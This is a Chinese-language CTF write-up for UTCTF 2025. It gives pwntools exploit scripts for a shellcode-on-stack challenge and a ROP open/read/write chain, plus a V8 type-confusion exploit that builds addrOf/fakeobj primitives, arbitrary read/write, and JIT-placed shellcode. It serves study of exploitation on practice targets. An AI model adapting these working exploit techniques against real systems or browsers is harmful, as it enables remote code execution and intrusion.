README.mdx
15 KiB2025-09-19 08:00

#UTCTF 2025 Writeup

国赛前一天的一个国际赛,跟 N1 junior 的师傅们一起打一下。

#Tic Tac Toe

全都是 gets,baby pwn

无限制的栈溢出可以随便打,溢出一下,覆盖掉 player 的那个 int 就可以 win

没写 exp,就不贴了。

#RETirement Plan

存在一个对字母的检查,__ctype_b_loc 这个函数见到几次了,它返回的是指向字符属性表的指针,一般写法是 (*__ctype_b_loc())[v5[i]] & 0x100,可以保证线程安全。

题目有个无限制的 gets,还有个格式化字符串,而且没开 NX,所以可以先打印一个栈地址然后返回 main,再读入 shellcode 在栈上执行。

#!/usr/bin/env python3

from pwn import *
from sys import argv

proc = "./shellcode_patched"
context.log_level = "debug"
context.binary = proc
elf = ELF(proc, checksec=False)
libc = ELF("./libc.so.6", checksec=False)
io = remote('challenge.utctf.live',9009) if argv[1] == 'r' else process(proc)

if args.G:
gdb.attach(io, "b *0x40063c")

payload = b"%17$pB".ljust(48, b"a") + p64(0x601051) + b"b" * 8
# payload += asm(shellcraft.sh())
payload += p64(elf.sym['main'])
io.sendlineafter(b": \n", payload)
stack_addr = int(io.recvuntil(b"Baa", drop=True).decode(), 16)
log.info(f"stack_addr => {hex(stack_addr)}")
shellcode = b"/bin/sh\x00"
shellcode += asm("""
mov rdi, r13
sub rdi, 0x120
xor rsi, rsi
xor rdx, rdx
mov al, 0x3b
syscall
""").ljust(40, b"\x90")
shellcode += p64(0x601051) + b"b" * 8 + b"c" * 8
shellcode += p64(stack_addr - 0x120)
io.sendlineafter(b": \n", shellcode)
io.interactive()

一开始的时候想用 pwntools 自带的 shellcode,但是有点长,后面部分字节会被修改掉,于是去 shell-storm 翻了翻,push rsp 执行后就会 dump,感觉也不太彳亍

所以自己手搓了一下。

另外学到了一个:

mov rbx, 0xFF978CD091969DD1
neg rbx

neg 指令可以把寄存器取反加 1,也就是用 0 减去 rbx

#secbof

orw 题,比较坑的地方是题目用 socat 开的环境,然后占用了 3 4 文件描述符,以后打这种给了 dockerfile 的题本地通远程不通可以自己起一个 docker 看一下。

另一个注意的点是 open syscall 的时候 rsi/rdx 不能直接不管,rsi 是 access,rdx 是 permissions,前者是打开权限(rwx),后者只会在新创建文件时用到,所以前者不能不管(

from pwn import *
from sys import argv

proc = "./chal"
context.log_level = "debug"
context.binary = proc
elf = ELF(proc, checksec=False)
io = remote("127.0.0.1", 9000) if argv[1] == 'r' else process(proc)

if args.G:
gdb.attach(io, "b *0x4019a3")

pop_rdi_ret = 0x000000000040204f
pop_rsi_ret = 0x000000000040a0be
pop_rdx_rbx_ret = 0x000000000048630b
pop_rax_ret = 0x0000000000450507
syscall = 0x0000000044EF59
flag = 0x4CA8E0
ans = 0x4CA900

payload = b"a" * 128 + b"b" * 8
payload += flat([pop_rdi_ret, 0, pop_rsi_ret, flag, pop_rdx_rbx_ret, 0x30, 0, elf.sym['read']])
payload += flat([pop_rdi_ret, flag, pop_rax_ret, 2, pop_rsi_ret, 4, pop_rdx_rbx_ret, 4, 4, syscall])
payload += flat([pop_rdi_ret, 5, pop_rsi_ret, ans, pop_rdx_rbx_ret, 0x30, 0, elf.sym['read']])
payload += flat([pop_rdi_ret, 1, pop_rsi_ret, ans, pop_rdx_rbx_ret, 0x30, 0, elf.sym['write']])
io.sendline(payload)
io.sendlineafter(b": ", b"/flag.txt\x00")
io.interactive()

#E-Crop part 2

chrome v8,学完来打。

学完了,开打。

先看一下 patch:

diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index ea45a7ada6b..3af3bea5725 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -1589,5 +1589,44 @@ BUILTIN(ArrayConcat) {
return Slow_ArrayConcat(&args, species, isolate);
}

+// Custom Additions (UTCTF)
+
+BUILTIN(ArrayConfuse) {
+ HandleScope scope(isolate);
+ Factory *factory = isolate->factory();
+ Handle<Object> receiver = args.receiver();
+
+ if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) {
+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+ factory->NewStringFromAsciiChecked("Invalid type. Must be a JSArray.")));
+ }
+
+ Handle<JSArray> array = Cast<JSArray>(receiver);
+ ElementsKind kind = array->GetElementsKind();
+
+ if (kind == PACKED_ELEMENTS) {
+ DirectHandle<Map> map = JSObject::GetElementsTransitionMap(
+ array, PACKED_DOUBLE_ELEMENTS);
+ {
+ DisallowGarbageCollection no_gc;
+ Tagged<JSArray> raw = *array;
+ raw->set_map(*map, kReleaseStore);
+ }
+ } else if (kind == PACKED_DOUBLE_ELEMENTS) {
+ DirectHandle<Map> map = JSObject::GetElementsTransitionMap(
+ array, PACKED_ELEMENTS);
+ {
+ DisallowGarbageCollection no_gc;
+ Tagged<JSArray> raw = *array;
+ raw->set_map(*map, kReleaseStore);
+ }
+ } else {
+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+ factory->NewStringFromAsciiChecked("Invalid JSArray type. Must be an object or float array.")));
+ }
+
+ return ReadOnlyRoots(isolate).undefined_value();
+}
+
} // namespace internal
} // namespace v8
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 78cbf8874ed..872db196d15 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -426,6 +426,8 @@ namespace internal {
CPP(ArrayShift) \
/* ES6 #sec-array.prototype.unshift */ \
CPP(ArrayUnshift) \
+ /* Custom Additions (UTCTF) */ \
+ CPP(ArrayConfuse) \
/* Support for Array.from and other array-copying idioms */ \
TFS(CloneFastJSArray, NeedsContext::kYes, kSource) \
TFS(CloneFastJSArrayFillingHoles, NeedsContext::kYes, kSource) \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index 9a346d134b9..99a2bc95944 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1937,6 +1937,9 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtin::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ // Custom Additions (UTCTF)
+ case Builtin::kArrayConfuse:
+ return Type::Undefined();

// ArrayBuffer functions.
case Builtin::kArrayBufferIsView:
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index facf0d86d79..95340facaad 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -3364,53 +3364,10 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates(

Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
- global_template->Set(Symbol::GetToStringTag(isolate),
- String::NewFromUtf8Literal(isolate, "global"));
global_template->Set(isolate, "version",
FunctionTemplate::New(isolate, Version));

global_template->Set(isolate, "print", FunctionTemplate::New(isolate, Print));
- global_template->Set(isolate, "printErr",
- FunctionTemplate::New(isolate, PrintErr));
- global_template->Set(isolate, "write",
- FunctionTemplate::New(isolate, WriteStdout));
- if (!i::v8_flags.fuzzing) {
- global_template->Set(isolate, "writeFile",
- FunctionTemplate::New(isolate, WriteFile));
- }
- global_template->Set(isolate, "read",
- FunctionTemplate::New(isolate, ReadFile));
- global_template->Set(isolate, "readbuffer",
- FunctionTemplate::New(isolate, ReadBuffer));
- global_template->Set(isolate, "readline",
- FunctionTemplate::New(isolate, ReadLine));
- global_template->Set(isolate, "load",
- FunctionTemplate::New(isolate, ExecuteFile));
- global_template->Set(isolate, "setTimeout",
- FunctionTemplate::New(isolate, SetTimeout));
- // Some Emscripten-generated code tries to call 'quit', which in turn would
- // call C's exit(). This would lead to memory leaks, because there is no way
- // we can terminate cleanly then, so we need a way to hide 'quit'.
- if (!options.omit_quit) {
- global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
- }
- global_template->Set(isolate, "testRunner",
- Shell::CreateTestRunnerTemplate(isolate));
- global_template->Set(isolate, "Realm", Shell::CreateRealmTemplate(isolate));
- global_template->Set(isolate, "performance",
- Shell::CreatePerformanceTemplate(isolate));
- global_template->Set(isolate, "Worker", Shell::CreateWorkerTemplate(isolate));
-
- // Prevent fuzzers from creating side effects.
- if (!i::v8_flags.fuzzing) {
- global_template->Set(isolate, "os", Shell::CreateOSTemplate(isolate));
- }
- global_template->Set(isolate, "d8", Shell::CreateD8Template(isolate));
-
- if (i::v8_flags.expose_async_hooks) {
- global_template->Set(isolate, "async_hooks",
- Shell::CreateAsyncHookTemplate(isolate));
- }

return global_template;
}
@@ -3719,10 +3676,12 @@ void Shell::Initialize(Isolate* isolate, D8Console* console,
v8::Isolate::kMessageLog);
}

+ /*
isolate->SetHostImportModuleDynamicallyCallback(
Shell::HostImportModuleDynamically);
isolate->SetHostInitializeImportMetaObjectCallback(
Shell::HostInitializeImportMetaObject);
+ */
isolate->SetHostCreateShadowRealmContextCallback(
Shell::HostCreateShadowRealmContext);

diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index 48249695b7b..ceb2b23e916 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -2571,6 +2571,9 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
false);
SimpleInstallFunction(isolate_, proto, "join", Builtin::kArrayPrototypeJoin,
1, false);
+ // Custom Additions (UTCTF)
+ SimpleInstallFunction(isolate_, proto, "confuse", Builtin::kArrayConfuse,
+ 0, false);

{ // Set up iterator-related properties.
DirectHandle<JSFunction> keys = InstallFunctionWithBuiltinId(

可以看到给了 JSArray 加了一个 confuse 方法,实现 PACKED_DOUBLE_ELEMENTSPACKED_ELEMENTS 相互转化,复习一下知识点:

  • PACKED_DOUBLE_ELEMENTS -> 数组由原始 64 位双精度数组成,元素之间没有空洞(因此是 PACKED
  • PACKED_ELEMENTS -> 数组由指向其他 JS 对象的 v8 指针组成,元素之间没有空洞(因此是 PACKED

因此这个函数基本上意味着我们可以进行无限制的类型混淆,从而很轻松的构建一个 addrOf 原语和 fakeobj 原语。

首先构建一个 addrOf 原语用来泄漏 v8 堆中对象的地址:

function addrOf(obj){
let a = [obj];
a.confuse();
return (a[0].f2i()) & 0xffffffffn;
}

这个很直观,不需要过多解释。

然后是 fakeobj

function fakeobj(addr) {
let a = [addr.i2f()];
a.confuse();
return a[0];
}

这个原语稍微解释下:当我们构建一个浮点数数组时,他的类型默认就是 PACKED_DOUBLE_ELEMENTS,这时调用 confuse() 变成 PACKED_ELEMENTS 后,他就对应变成了一个对象数组,这样我们之前放在数组头的 addr 就会被当作一个对象,也就是我们想要的 fake_obj

接下来要拿到 v8 堆内的任意地址读写,思路是通过控制 JSArray 的 elements 来实现:构造两个数组 arbrw_arrfake_arr,在 fake_arrelements 内再伪造一个 JSArray 的结构,这个 fake_arr_elementselements 字段修改为 arbrw_arr 的地址,使用 fakeobj 原语得到 fake_arr_elements 对应的对象 fakeobj,这样就成功伪造出了一个 fakeobj 数组,满足这个数组的 elements 指向另一个 JSArray 结构,这样修改 fakeobj[0] 相当于在修改 arbrw_arr->elements,然后再访问 arbrw_arr[0] 即可实现 v8 堆内任意读写。

首先构造一个数组 fake_arr

const MAP_ADDR = 0x1cb86dn;
const PROPERTIES_ADDR = 0x725n;

let arbrw_arr = [1.1, 2.2, 3.3];
let fake_arr = [
((PROPERTIES_ADDR << 32n) | MAP_ADDR).i2f(), // 伪造好不变的字段
0x4141414141414141n.i2f() // 留出 length | elements 的空间
];

然后完整伪造 fake_arr 里的结构:

let fake_arr_addr = addrOf(fake_arr);
console.log("fake_arr_addr =>", fake_arr_addr.hex());

let fake_arr_elements_addr = fake_arr_addr + 0x54n;
let arbrw_arr_addr = addrOf(arbrw_arr);
console.log("arbrw_arr_addr =>", arbrw_arr_addr.hex());

fake_arr[1] = (4n << 32n | arbrw_arr_addr).i2f();

console.log(fake_arr_elements_addr.hex());
let fake_obj = fakeobj(fake_arr_elements_addr);

实现任意读写:

function write64(where, what) {
fake_obj[0] = (6n << 32n | (where)).i2f();
arbrw_arr[0] = what.i2f();
}

function read64(where) {
fake_obj[0] = (6n << 32n | (where)).i2f();
return arbrw_arr[0].f2i();
}

接下来一般有三种打法:

  1. 创建 wasm 函数劫持 RWX 段
  2. 通过 JIT 劫持 RWX 段
  3. 转 backing_store 获得全部内存地址空间的任意读写

这里方法一实测下来失败了,原因是题目远程环境开启了 pkey 保护机制,详情参考这里

这里用方法二打,我们不用 WASM,而是使用 JIT 创建 RWX 区域,将 shellcode 放入其中。如果 V8 中的某个函数变得“热”,JIT 引擎就会对其进行优化。根据调用次数,它会触发 Turbofan 或 Maglev。如果我们创建一个返回 shellcode 的函数,它也会被放置在 RWX 区域中,因为它需要执行 shellcode。

// https://github.com/github/securitylab/blob/main/SecurityExploits/Chrome/v8/CVE_2023_3420/poc.js
function func() {
return [1.9553825422107533e-246, 1.9560612558242147e-246, 1.9995714719542577e-246, 1.9533767332674093e-246, 2.6348604765229606e-284];
}
for (let i = 0; i < 200000; i++) func(0);

注意 JIT 的内存空间中存在 hole,因此需要使用特殊的 shellcode。

然后泄漏 function 的 code 字段,找到 rwx 段地址,并用 write64 原语替换为 shellcode 所在地址。

let func_addr = addrOf(func);
console.log("func_addr =>", func_addr.hex());
let code = read64(func_addr) >> 32n;
console.log("code =>", code.hex());
let rwx_addr = read64(code + 0x14n - 8n);
console.log("RWX addr =>", rwx_addr.hex());
let shellcode_addr = rwx_addr + 0x5cn;
console.log("shellcode_addr =>", shellcode_addr.hex());

write64(code + 0x14n - 8n, shellcode_addr);
func();

寻找 shellcode 所在地址时可以使用 gdb 的 search 工具:search -8 0xceb580068732f68 [anon_5555b7a00] 可以在指定段内搜索。